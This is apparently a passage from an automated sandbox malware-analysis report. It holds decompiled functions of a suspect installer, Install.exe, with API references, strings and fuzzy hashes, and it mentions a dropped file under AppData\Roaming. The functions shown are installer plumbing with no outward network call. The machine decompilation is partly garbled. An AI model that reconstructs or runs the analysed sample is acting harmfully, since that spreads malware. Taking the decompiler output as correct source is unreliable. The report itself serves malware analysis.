					_t12 = GetShortPathNameW( *(_t52 + 0x1c), 0x431108, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						_t37 = wsprintfA(0x430508, "%ls=%ls\r\n", 0x430908, 0x431108);
						_t53 = _t52 + 0x10;
						E0040657A(_t37, 0x400, 0x431108, 0x431108,  *((intOrPtr*)( *0x434f10 + 0x128)));
						_t12 = E0040602D(0x431108, 0xc0000000, 4);
						_t48 = _t12;
						 *(_t53 + 0x18) = _t48;
						if(_t48 != 0xffffffff) {
							_t42 = GetFileSize(_t48, 0);
							_t6 = _t37 + 0xa; // 0xa
							_t46 = GlobalAlloc(0x40, _t42 + _t6);
							if(_t46 == 0 || E004060B0(_t48, _t46, _t42) == 0) {
								L18:
								return CloseHandle(_t48);
							} else {
								if(E00405F92(_t38, _t46, "[Rename]\r\n") != 0) {
									_t49 = E00405F92(_t38, _t21 + 0xa, "\n[");
									if(_t49 == 0) {
										_t48 =  *(_t53 + 0x18);
										L16:
										_t24 = _t42;
										L17:
										E00405FE8(_t24 + _t46, 0x430508, _t37);
										SetFilePointer(_t48, 0, 0, 0);
										E004060DF(_t48, _t46, _t42 + _t37);
										GlobalFree(_t46);
										goto L18;
									}
									_t39 = _t46 + _t42;
									_t31 = _t39 + _t37;
									while(_t39 > _t49) {
										 *_t31 =  *_t39;
										_t31 = _t31 - 1;
										_t39 = _t39 - 1;
									}
									_t24 = _t49 - _t46 + 1;
									_t48 =  *(_t53 + 0x18);
									goto L17;
								}
								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
								_t42 = _t42 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E0040602D(_t44, 0, 1));
					_t12 = GetShortPathNameW(_t44, 0x430908, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						goto L3;
					}
				}
				return _t12;
			}

0x00406183
0x0040618c
0x00406193
0x0040619d
0x004061b1
0x004061d9
0x004061e4
0x004061e8
0x00406208
0x0040620f
0x00406219
0x00406226
0x0040622b
0x00406230
0x00406234
0x00406243
0x00406245
0x00406252
0x00406256
0x004062f1
0x00000000
0x0040626c
0x00406279
0x0040629d
0x004062a1
0x004062c0
0x004062c4
0x004062c4
0x004062c6
0x004062cf
0x004062da
0x004062e5
0x004062eb
0x00000000
0x004062eb
0x004062a3
0x004062a6
0x004062b1
0x004062ad
0x004062af
0x004062b0
0x004062b0
0x004062b8
0x004062ba
0x00000000
0x004062ba
0x00406284
0x0040628a
0x00000000
0x0040628a
0x00406256
0x00406234
0x004061b3
0x004061be
0x004061c7
0x004061cb
0x00000000
0x00000000
0x004061cb
0x004062fc

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,0040631E,?,?), ref: 004061BE
GetShortPathNameW.KERNEL32 ref: 004061C7

Part of subcall function 00405F92: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA2
Part of subcall function 00405F92: lstrlenA.KERNEL32(00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD4

GetShortPathNameW.KERNEL32 ref: 004061E4
wsprintfA.USER32 ref: 00406202
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 0040623D
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 0040624C
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406284
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004062DA
GlobalFree.KERNEL32 ref: 004062EB
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004062F2

Part of subcall function 0040602D: GetFileAttributesW.KERNELBASE(00000003,004030BD,00443800,80000000,00000003,?,?,?,?,?,0040387D,?), ref: 00406031
Part of subcall function 0040602D: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,?,?,0040387D,?), ref: 00406053

Strings

[Rename], xrefs: 0040626C, 0040627E
%ls=%ls, xrefs: 004061F8

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 0194637bb94274dabed0f9800811d2c41cbe4f0b5fb95fd5530e1cac65c060f3
Instruction ID: 71978d88b6039f89b25a0dfa2ffa892efa56fbf884cfe692307f7793e751c739
Opcode Fuzzy Hash: 0194637bb94274dabed0f9800811d2c41cbe4f0b5fb95fd5530e1cac65c060f3
Instruction Fuzzy Hash: 6A314670200716BBD2207B659D48F6B3A6CEF45754F15017EFA42F62C2EA3CA821867D

Uniqueness

Uniqueness Score: -1.00%

Function 00404500 Relevance: 12.1, APIs: 8, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404500(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t39;
				long _t41;
				void* _t44;
				signed char _t50;
				long* _t54;

				if(_a4 + 0xfffffecd > 5) {
					L18:
					return 0;
				}
				_t54 = GetWindowLongW(_a12, 0xffffffeb);
				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
					goto L18;
				} else {
					_t50 = _t54[5];
					if((_t50 & 0xffffffe0) != 0) {
						goto L18;
					}
					_t39 =  *_t54;
					if((_t50 & 0x00000002) != 0) {
						_t39 = GetSysColor(_t39);
					}
					if((_t54[5] & 0x00000001) != 0) {
						SetTextColor(_a8, _t39);
					}
					SetBkMode(_a8, _t54[4]);
					_t41 = _t54[1];
					_v16.lbColor = _t41;
					if((_t54[5] & 0x00000008) != 0) {
						_t41 = GetSysColor(_t41);
						_v16.lbColor = _t41;
					}
					if((_t54[5] & 0x00000004) != 0) {
						SetBkColor(_a8, _t41);
					}
					if((_t54[5] & 0x00000010) != 0) {
						_v16.lbStyle = _t54[2];
						_t44 = _t54[3];
						if(_t44 != 0) {
							DeleteObject(_t44);
						}
						_t54[3] = CreateBrushIndirect( &_v16);
					}
					return _t54[3];
				}
			}

0x00404512
0x004045c8
0x00000000
0x004045c8
0x00404523
0x00404527
0x00000000
0x00404541
0x00404541
0x0040454a
0x00000000
0x00000000
0x0040454c
0x00404558
0x0040455b
0x0040455b
0x00404561
0x00404567
0x00404567
0x00404573
0x00404579
0x00404580
0x00404583
0x00404586
0x00404588
0x00404588
0x00404590
0x00404596
0x00404596
0x004045a0
0x004045a5
0x004045a8
0x004045ad
0x004045b0
0x004045b0
0x004045c0
0x004045c0
0x00000000
0x004045c3

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040451D
GetSysColor.USER32(00000000), ref: 0040455B
SetTextColor.GDI32(?,00000000), ref: 00404567
SetBkMode.GDI32(?,?), ref: 00404573
GetSysColor.USER32(?), ref: 00404586
SetBkColor.GDI32(?,?), ref: 00404596
DeleteObject.GDI32(?), ref: 004045B0
CreateBrushIndirect.GDI32(?), ref: 004045BA

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction ID: 19446832cb8519ea1938040ed984131457e28e93d0b00b9b4dc42373f0e33a15
Opcode Fuzzy Hash: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction Fuzzy Hash: 382177B1500705AFCB31DF68DD08B5BBBF8AF41714B058A2EEA96B22E1C734E944CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004026EC Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004026EC(intOrPtr __ebx, intOrPtr __edx, void* __edi) {
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t72;
				void* _t76;
				void* _t79;

				_t72 = __edx;
				 *((intOrPtr*)(_t76 - 8)) = __ebx;
				_t65 = 2;
				 *((intOrPtr*)(_t76 - 0x4c)) = _t65;
				_t66 = E00402D84(_t65);
				_t79 = _t66 - 1;
				 *((intOrPtr*)(_t76 - 0x10)) = _t72;
				 *((intOrPtr*)(_t76 - 0x44)) = _t66;
				if(_t79 < 0) {
					L36:
					 *0x434f88 =  *0x434f88 +  *(_t76 - 4);
				} else {
					__ecx = 0x3ff;
					if(__eax > 0x3ff) {
						 *(__ebp - 0x44) = 0x3ff;
					}
					if( *__edi == __bx) {
						L34:
						__ecx =  *(__ebp - 0xc);
						__eax =  *(__ebp - 8);
						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
						if(_t79 == 0) {
							 *(_t76 - 4) = 1;
						}
						goto L36;
					} else {
						 *(__ebp - 0x38) = __ebx;
						 *(__ebp - 0x18) = E0040649D(__ecx, __edi);
						if( *(__ebp - 0x44) > __ebx) {
							do {
								if( *((intOrPtr*)(__ebp - 0x34)) != 0x39) {
									if( *((intOrPtr*)(__ebp - 0x24)) != __ebx ||  *(__ebp - 8) != __ebx || E0040610E( *(__ebp - 0x18), __ebx) >= 0) {
										__eax = __ebp - 0x50;
										if(E004060B0( *(__ebp - 0x18), __ebp - 0x50, 2) == 0) {
											goto L34;
										} else {
											goto L21;
										}
									} else {
										goto L34;
									}
								} else {
									__eax = __ebp - 0x40;
									_push(__ebx);
									_push(__ebp - 0x40);
									__eax = 2;
									__ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)) = __ebp + 0xa;
									__eax = ReadFile( *(__ebp - 0x18), __ebp + 0xa, __ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)), ??, ??);
									if(__eax == 0) {
										goto L34;
									} else {
										__ecx =  *(__ebp - 0x40);
										if(__ecx == __ebx) {
											goto L34;
										} else {
											__ax =  *(__ebp + 0xa) & 0x000000ff;
											 *(__ebp - 0x4c) = __ecx;
											 *(__ebp - 0x50) = __eax;
											if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
												L28:
												__ax & 0x0000ffff = E00406484( *(__ebp - 0xc), __ax & 0x0000ffff);
											} else {
												__ebp - 0x50 = __ebp + 0xa;
												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x50, 1) != 0) {
													L21:
													__eax =  *(__ebp - 0x50);
												} else {
													__edi =  *(__ebp - 0x4c);
													__edi =  ~( *(__ebp - 0x4c));
													while(1) {
														_t22 = __ebp - 0x40;
														 *_t22 =  *(__ebp - 0x40) - 1;
														__eax = 0xfffd;
														 *(__ebp - 0x50) = 0xfffd;
														if( *_t22 == 0) {
															goto L22;
														}
														 *(__ebp - 0x4c) =  *(__ebp - 0x4c) - 1;
														__edi = __edi + 1;
														SetFilePointer( *(__ebp - 0x18), __edi, __ebx, 1) = __ebp - 0x50;
														__eax = __ebp + 0xa;
														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x40), __ebp - 0x50, 1) == 0) {
															continue;
														} else {
															goto L21;
														}
														goto L22;
													}
												}
												L22:
												if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
													goto L28;
												} else {
													if( *(__ebp - 0x38) == 0xd ||  *(__ebp - 0x38) == 0xa) {
														if( *(__ebp - 0x38) == __ax || __ax != 0xd && __ax != 0xa) {
															 *(__ebp - 0x4c) =  ~( *(__ebp - 0x4c));
															__eax = SetFilePointer( *(__ebp - 0x18),  ~( *(__ebp - 0x4c)), __ebx, 1);
														} else {
															__ecx =  *(__ebp - 0xc);
															__edx =  *(__ebp - 8);
															 *(__ebp - 8) =  *(__ebp - 8) + 1;
															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														}
														goto L34;
													} else {
														__ecx =  *(__ebp - 0xc);
														__edx =  *(__ebp - 8);
														 *(__ebp - 8) =  *(__ebp - 8) + 1;
														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														 *(__ebp - 0x38) = __eax;
														if(__ax == __bx) {
															goto L34;
														} else {
															goto L26;
														}
													}
												}
											}
										}
									}
								}
								goto L37;
								L26:
								__eax =  *(__ebp - 8);
							} while ( *(__ebp - 8) <  *(__ebp - 0x44));
						}
						goto L34;
					}
				}
				L37:
				return 0;
			}

0x004026ec
0x004026ee
0x004026f1
0x004026f3
0x004026f6
0x004026fb
0x004026ff
0x00402702
0x00402705
0x00402c2a
0x00402c2d
0x0040270b
0x0040270b
0x00402712
0x00402714
0x00402714
0x0040271a
0x0040287e
0x0040287e
0x00402881
0x00402886
0x004015b6
0x0040292e
0x0040292e
0x00000000
0x00402720
0x00402721
0x0040272c
0x0040272f
0x0040273b
0x0040273f
0x004027d7
0x004027ef
0x004027ff
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402745
0x00402745
0x00402748
0x00402749
0x0040274c
0x00402751
0x00402758
0x00402760
0x00000000
0x00402766
0x00402766
0x0040276b
0x00000000
0x00402771
0x00402771
0x00402779
0x0040277c
0x0040277f
0x0040283a
0x00402841
0x00402785
0x0040278b
0x00402797
0x00402801
0x00402801
0x00402799
0x00402799
0x0040279c
0x0040279e
0x0040279e
0x0040279e
0x004027a1
0x004027a6
0x004027a9
0x00000000
0x00000000
0x004027ab
0x004027ae
0x004027bc
0x004027c2
0x004027d0
0x00000000
0x004027d2
0x00000000
0x004027d2
0x00000000
0x004027d0
0x0040279e
0x00402804
0x00402807
0x00000000
0x00402809
0x0040280e
0x0040284f
0x00402871
0x00402878
0x0040285d
0x0040285d
0x00402860
0x00402863
0x00402866
0x00402866
0x00000000
0x00402817
0x00402817
0x0040281a
0x0040281d
0x00402823
0x00402827
0x0040282a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040282a
0x0040280e
0x00402807
0x0040277f
0x0040276b
0x00402760
0x00000000
0x0040282c
0x0040282c
0x0040282f
0x00402838
0x00000000
0x0040272f
0x0040271a
0x00402c33
0x00402c39

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 00402758
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402793
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027B6
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027CC

Part of subcall function 0040610E: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00406124

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402878

Strings

9, xrefs: 0040273B

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 05ec9e9945247294569ed32eb70c3e484d87f4f0290394ce4997a83a7f1e58dd
Instruction ID: 36eba916602f65c1f8b814f2f26102ddc75cc08ed25eda7b441ea0696c55e726
Opcode Fuzzy Hash: 05ec9e9945247294569ed32eb70c3e484d87f4f0290394ce4997a83a7f1e58dd
Instruction Fuzzy Hash: C551E975D00219AADF20EF95CA89AAEBB79FF04304F10817BE541B62D4D7B49D82CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040559F Relevance: 10.6, APIs: 7, Instructions: 72
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040559F(signed int _a4, WCHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				WCHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t27;
				signed int _t28;
				long _t29;
				signed int _t37;
				signed int _t38;

				_t27 =  *0x433ee4;
				_v8 = _t27;
				if(_t27 != 0) {
					_t37 =  *0x434fb4;
					_v12 = _t37;
					_t38 = _t37 & 0x00000001;
					if(_t38 == 0) {
						E0040657A(_t38, 0, 0x42c248, 0x42c248, _a4);
					}
					_t27 = lstrlenW(0x42c248);
					_a4 = _t27;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t27 = SetWindowTextW( *0x433ec8, 0x42c248);
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x42c248;
							_v52 = 1;
							_t29 = SendMessageW(_v8, 0x1004, 0, 0);
							_v44 = 0;
							_v48 = _t29 - _t38;
							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52);
							_t27 = SendMessageW(_v8, 0x1013, _v48, 0);
						}
						if(_t38 != 0) {
							_t28 = _a4;
							0x42c248[_t28] = 0;
							return _t28;
						}
					} else {
						_t27 = lstrlenW(_a8) + _a4;
						if(_t27 < 0x1000) {
							_t27 = lstrcatW(0x42c248, _a8);
							goto L6;
						}
					}
				}
				return _t27;
			}

0x004055a5
0x004055af
0x004055b4
0x004055ba
0x004055c5
0x004055c8
0x004055cb
0x004055d1
0x004055d1
0x004055d7
0x004055df
0x004055e2
0x004055ff
0x00405603
0x0040560c
0x0040560c
0x00405616
0x0040561f
0x0040562b
0x00405632
0x00405636
0x00405639
0x0040564c
0x0040565a
0x0040565a
0x0040565e
0x00405660
0x00405663
0x00000000
0x00405663
0x004055e4
0x004055ec
0x004055f4
0x004055fa
0x00000000
0x004055fa
0x004055f4
0x004055e2
0x0040566f

APIs

lstrlenW.KERNEL32(0042C248,00000000,?,76CDEA30,?,?,?,?,?,?,?,?,?,00403418,00000000,?), ref: 004055D7
lstrlenW.KERNEL32(00403418,0042C248,00000000,?,76CDEA30,?,?,?,?,?,?,?,?,?,00403418,00000000), ref: 004055E7
lstrcatW.KERNEL32(0042C248,00403418), ref: 004055FA
SetWindowTextW.USER32(0042C248,0042C248), ref: 0040560C
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405632
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040564C
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565A

Part of subcall function 0040657A: lstrcatW.KERNEL32(C:\Users\user\AppData\Roaming\34432.exe,\Microsoft\Internet Explorer\Quick Launch), ref: 0040671F
Part of subcall function 0040657A: lstrlenW.KERNEL32(C:\Users\user\AppData\Roaming\34432.exe,00000000,0042C248,?,004055D6,0042C248,00000000), ref: 00406779

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$TextWindow
String ID:
API String ID: 1495540970-0
Opcode ID: 61fc35634f83d303f4bb0fdf458391b4626c4708e393b35bd1b1a29fdfa46634
Instruction ID: 138a2a903332092674924c4fce2a37a83712bc812e9b86ab44911e1df8857bb6
Opcode Fuzzy Hash: 61fc35634f83d303f4bb0fdf458391b4626c4708e393b35bd1b1a29fdfa46634
Instruction Fuzzy Hash: C1219071900558BACF11AFA9DD84DDFBF75EF45354F14803AF904B22A0C7794A419F68

Uniqueness

Uniqueness Score: -1.00%

Function 004067C4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004067C4(WCHAR* _a4) {
				short _t5;
				short _t7;
				WCHAR* _t19;
				WCHAR* _t20;
				WCHAR* _t21;

				_t20 = _a4;
				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
					_t20 =  &(_t20[4]);
				}
				if( *_t20 != 0 && E00405E83(_t20) != 0) {
					_t20 =  &(_t20[2]);
				}
				_t5 =  *_t20;
				_t21 = _t20;
				_t19 = _t20;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((short*)(E00405E39(L"*?|<>/\":", _t5))) == 0) {
							E00405FE8(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
							_t19 = CharNextW(_t19);
						}
						_t20 = CharNextW(_t20);
						_t5 =  *_t20;
					} while (_t5 != 0);
				}
				 *_t19 =  *_t19 & 0x00000000;
				while(1) {
					_push(_t19);
					_push(_t21);
					_t19 = CharPrevW();
					_t7 =  *_t19;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t19 =  *_t19 & 0x00000000;
					if(_t21 < _t19) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x004067c6
0x004067cf
0x004067e6
0x004067e6
0x004067ed
0x004067f9
0x004067f9
0x004067fc
0x004067ff
0x00406804
0x00406806
0x0040680f
0x00406813
0x00406830
0x00406838
0x00406838
0x0040683d
0x0040683f
0x00406842
0x00406847
0x00406848
0x0040684c
0x0040684c
0x0040684d
0x00406854
0x00406856
0x0040685d
0x00000000
0x00000000
0x00406865
0x0040686b
0x00000000
0x00000000
0x00000000
0x0040686b
0x00406870

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,76CDFAA0,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00406827
CharNextW.USER32(?,?,?,00000000,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00406836
CharNextW.USER32(?,00000000,76CDFAA0,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 0040683B
CharPrevW.USER32(?,?,76CDFAA0,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 0040684E

Strings

*?|<>/":, xrefs: 00406816
C:\Users\user\AppData\Local\Temp\, xrefs: 004067C5

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-4010320282
Opcode ID: 7f8a10c6574f84f045d99a2f2ba91d71661da1c9dbe2055a6f375f6d39957bd5
Instruction ID: 8e05d213a2b26a47bd0c986db1e6a85e10b5e067f284fb5e9645f7af11a9ce3c
Opcode Fuzzy Hash: 7f8a10c6574f84f045d99a2f2ba91d71661da1c9dbe2055a6f375f6d39957bd5
Instruction Fuzzy Hash: 7311862780161295DB313B158C44A77A2A8AF58798F56843FED86B32C1E77C8C9282AD

Uniqueness

Uniqueness Score: -1.00%

Function 00404E54 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E54(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageW(_t28, 0x113e, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404e62
0x00404e6f
0x00404e75
0x00404eb3
0x00404eb3
0x00404ec2
0x00404ec9
0x00000000
0x00404ecb
0x00404e77
0x00404e86
0x00404e8e
0x00404e91
0x00404ea3
0x00404ea9
0x00404eb0
0x00000000
0x00404eb0
0x00000000

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404E6F
GetMessagePos.USER32 ref: 00404E77
ScreenToClient.USER32 ref: 00404E91
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404EA3
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404EC9

Strings

f, xrefs: 00404EA5

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: 177f1d0b32132a6560496663958852c5fe6f1b23f9da62007dee57caca3d7f28
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: 34014C71900219BADB00DBA4DD85BFFBBB8AB54711F10012BBA50B61C0D7B49A058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402F93 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

